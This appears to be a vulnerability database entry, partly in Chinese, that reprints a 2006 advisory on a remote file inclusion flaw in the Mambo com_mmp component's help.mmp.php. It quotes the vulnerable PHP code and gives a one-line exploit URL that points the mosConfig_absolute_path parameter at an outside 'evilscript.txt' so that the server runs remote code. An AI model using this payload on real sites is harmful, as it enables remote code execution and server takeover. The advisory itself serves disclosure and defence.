Mambo Email Publisher 'Help.MMP.PHP'远程文件包含漏洞

https://www.exploit-db.com/exploits/2182
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200608-291

Mambo软件的MMP组件(com_mmp)1.2及早期版本中的help.mmp.php脚本存在PHP远程文件包含漏洞，远程攻击者可借助mosConfig_absolute_path参数中的URL执行任意PHP代码。

####################################################
#                                                  #
#         C Y BE R - W A R R i O R   T I M         #
#                                                  #
####################################################

mambo com_mmp Component (mosConfig_absolute_path) Remote File Inclusion Vulnerabilities

####################################################

Author: mdx

####################################################

Class : Remote

####################################################

cont@ct: bilkopat[at]hotmail[dot]com

####################################################

Code: help.mmp.php?, line 12

<?php
       global $mosConfig_absolute_path;
       require $mosConfig_absolute_path .
"/administrator/components/com_mmp/diagnostics.mmp.php";
       diagnostics();
?>

Exploit:
http://www.site.com/[path]/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=http://site.com/evilscript.txt?

####################################################

Greetz: Cyber-warrior TIM USERS and xoron

####################################################

# milw0rm.com [2006-08-14]

来源:XF
名称:commmp-help-file-include(28361)
链接:http://xforce.iss.net/xforce/xfdb/28361
来源:BID
名称:19502
链接:http://www.securityfocus.com/bid/19502
来源:VUPEN
名称:ADV-2006-3278
链接:http://www.frsirt.com/english/advisories/2006/3278
来源:SECUNIA
名称:21479
链接:http://secunia.com/advisories/21479
来源:MILW0RM
名称:2182
链接:http://milw0rm.com/exploits/2182